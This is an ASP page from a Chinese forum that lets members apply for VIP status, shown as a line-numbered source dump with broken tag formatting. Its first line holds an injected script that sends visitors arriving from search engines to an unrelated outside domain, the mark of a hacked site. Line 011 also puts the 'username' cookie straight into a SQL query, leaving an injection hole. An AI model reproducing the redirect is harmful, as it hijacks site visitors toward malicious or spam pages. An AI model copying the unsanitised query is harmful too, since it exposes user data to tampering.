d:\wwwroot\wuchunhua\vip.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!-- #include file="setup.asp" -->
002:
003:
<%
004:
top
005:
if Request.Cookies("username")=empty then error("<li>您还未<a href=login.asp>登录</a>社区")
006:
007:
008:
%
>
009:
<%
010:
011:
sql="select * from [user] where username='"&Request.Cookies("username")&"'"
012:
rs.Open sql,Conn,1,3
013:
014:
015:
pagesetup=10 '设定每页的显示数量
016:
rs.pagesize=pagesetup
017:
TotalPage=rs.pagecount '总页数
018:
PageCount = cint(Request.QueryString("ToPage"))
019:
if PageCount <1 then PageCount = 1
020:
if PageCount > TotalPage then PageCount = TotalPage
021:
if TotalPage>0 then rs.absolutepage=PageCount '跳转到指定页数
022:
i=0
023:
Do While Not RS.EOF and i<pagesetup
024:
i=i+1
025:
026:
027:
028:
029:
exre=1000 '申请VIP需要经验
030:
postre=50 '申请VIP需要贴数
031:
moneyre=5000 '申请VIP需要金钱
032:
033:
034:
totalpost= rs("postrevert")+rs("posttopic")
035:
lacking=totalpost-postre
036:
if totalpost=>postre then
037:
lack="<font color=red>你已经答到此要求了!</font>"
038:
else
039:
lack="你还需要<font color=red>"&-lacking&"</font>帖!"
040:
end if
041:
042:
lacking2=rs("experience")-exre
043:
044:
if rs("experience")=>exre then
045:
046:
lack2="<font color=red>你已经答到此要求了!</font>"
047:
else
048:
lack2="你还需要<font color=red>"&-lacking2&"</font>经验!"
049:
end if
050:
051:
lacking3=rs("money")-moneyre
052:
053:
if rs("money")=>moneyre then
054:
055:
lack3="<font color=red>你已经答到此要求了!</font>"
056:
else
057:
lack3="你还需要<font color=red>"&-lacking3&"</font>金钱!"
058:
end if
059:
060:
select case Request("menu")
061:
062:
063:
case "vip"
064:
if rs("membercode")>1 then
065:
message=message&"<li>喂~!VIP会员比你现在的等级还低哦~!"
066:
error(message)
067:
end if
068:
if rs("money")<moneyre or totalpost<postre or rs("experience")<exre then
069:
message=message&"<li>你还未答到要求!"
070:
error(message)
071:
end if
072:
rs("money")=rs("money")+20000
073:
rs("experience")=rs("experience")+1000
074:
rs("membercode")=2
075:
rs.update
076:
rs.close
077:
error2("你已经申请成功了!!!恭喜你成为VIP会员!!")
078:
end select
079:
%
>
080:
081:
082:
<table border=0 width=97% align=center cellspacing=1 cellpadding=4 class=a2>
083:
<tr class=a3>
084:
<td height=25> <img src=images/Forum_nav.gif>
<%
ClubTree
%
></a> → VIP会员申请</td>
085:
</tr>
086:
</table><br>
087:
088:
<SCRIPT>valigntop()</SCRIPT>
089:
<br>
090:
091:
<div align=center><fieldset style="border:1px solid #a4b6d7;WIDTH: 440" >
092:
<legend>你的状态</legend>
093:
<table border="0" cellspacing="0" cellpadding="0" height="105" align="center" width="408">
094:
<tr>
095:
<td width="91">社区昵称：</td>
096:
<td width="136">
<%
=rs("username")
%
></td>
097:
<td width="91">注册日期：</td>
098:
<td width="136">
<%
=rs("regtime")
%
></td>
099:
</tr>
100:
<tr>
101:
<td width="91">发表贴数：</td>
102:
<td width="136">
<%
=rs("posttopic")+rs("postrevert")
%
></td>
103:
<td width="84">精华贴数：</td>
104:
<td width="97">
<%
=rs("goodtopic")
%
></td>
105:
</tr>
106:
<tr>
107:
<td width="84">社区金币：</td>
108:
<td width="97">
<%
=rs("money")
%
></td>
109:
<td width="84">体 力 值：</td>
110:
<td width="97">
<%
=rs("userlife")
%
></td>
111:
112:
</tr>
113:
<tr>
114:
<td width="91">经 验 值：</td>
115:
<td width="136">
<%
=rs("experience")
%
></td>
116:
<td width="84"> 魅 力 值：</td>
117:
<td width="97">
<%
=rs("magicpower")
%
></td>
118:
</tr>
119:
<tr>
120:
<td width="91">登陆次数：</td>
121:
<td width="136">
<%
=rs("degree")
%
></td>
122:
<td width="84">当前门派：</td>
123:
<td width="97">
124:
<%
125:
if ""&rs("faction")&""="" then
126:
response.write "无"
127:
else
128:
response.write rs("faction")
129:
end if
130:
%
>
131:
</td>
132:
133:
</tr>
134:
135:
<tr>
136:
<td width="95">社区威望：</td>
137:
<td width="142">
<%
=rs("power")
%
></td>
138:
139:
</td>
140:
<td width="95">社区头衔：</td>
141:
<td width="142">
142:
<%
143:
if ""&rs("honor")&""="" then
144:
response.write "无"
145:
else
146:
response.write rs("honor")
147:
end if
148:
%
>
149:
</td>
150:
</tr>
151:
<tr>
152:
<td width="91">社区住宅：</td>
153:
<td width="136">
154:
<%
155:
if ""&rs("building")&""="" then
156:
response.write "无"
157:
else
158:
response.write rs("building")
159:
end if
160:
%
>
161:
</td>
162:
<td width="91">社区伴侣：</td>
163:
<td width="136">
164:
<%
165:
if ""&rs("consort")&""="" then
166:
response.write "无"
167:
else
168:
response.write rs("consort")
169:
end if
170:
%
>
171:
</td>
172:
</tr>
173:
</table>
174:
<br>
175:
欢迎申请VIP会员!申请者必须答到以下要求!
176:
</font></fieldset></div>
177:
<br>
178:
179:
<TABLE cellSpacing=1 cellPadding=1 width=60% align=center border=0 class=a2>
180:
181:
<div align=center><img src=images/vip/vipneed.gif align=middle></div>
182:
<br>
183:
184:
<TR align=middle class=a1>
185:
<TD height=23>需要贴数</TD>
186:
<TD height=23>还差贴数</TD>
187:
<TD height=23>需要经验</TD>
188:
<TD height=23>还差经验</TD>
189:
<TD height=23>需要金钱</TD>
190:
<TD height=23>还差金钱</TD>
191:
192:
193:
194:
<TR align=left class=a4><TD height=20 align=center>
195:
<%
=postre
%
></td>
196:
<TD height=20 align=center>
<%
=lack
%
></TD>
197:
<TD height=20 align=center>
<%
=exre
%
></TD>
198:
<TD height=20 align=center>
<%
=lack2
%
></TD>
199:
<TD height=20 align=center>
<%
=moneyre
%
></TD>
200:
<TD height=20 align=center>
<%
=lack3
%
></TD>
201:
202:
203:
204:
205:
</table>
206:
207:
208:
<TABLE cellSpacing=1 cellPadding=1 width=40% align=center border=0 class=a2>
209:
<br>
210:
<div align=center><img src=images/vip/vip.gif align=middle></div>
211:
<br>
212:
213:
<TR align=middle class=a1>
214:
<TD height=23>经验</TD>
215:
<TD height=23>金钱</TD>
216:
<TD height=23>等级</TD>
217:
218:
219:
220:
221:
<TR align=left class=a4>
222:
<TD height=20 align=center><font color=red>+1000</font></TD>
223:
<TD height=20 align=center><font color=red>+20000</font></TD>
224:
<TD height=20 align=center><font color=red>VIP会员<img src=images/vip/vipmedal.gif></font></TD>
225:
226:
227:
228:
<form method=POST action=?menu=vip>
229:
<div align=center><input type=image src="images/vip/began.gif" border="0" name="Submit"></div></td></TD></TR></form>
230:
</table>
231:
232:
233:
234:
235:
<%
236:
RS.MoveNext
237:
loop
238:
RS.Close
239:
240:
%
><center>
241:
<SCRIPT>valignbottom()</SCRIPT>
242:
<%
243:
htmlend
244:
%
>
245:
246:
247: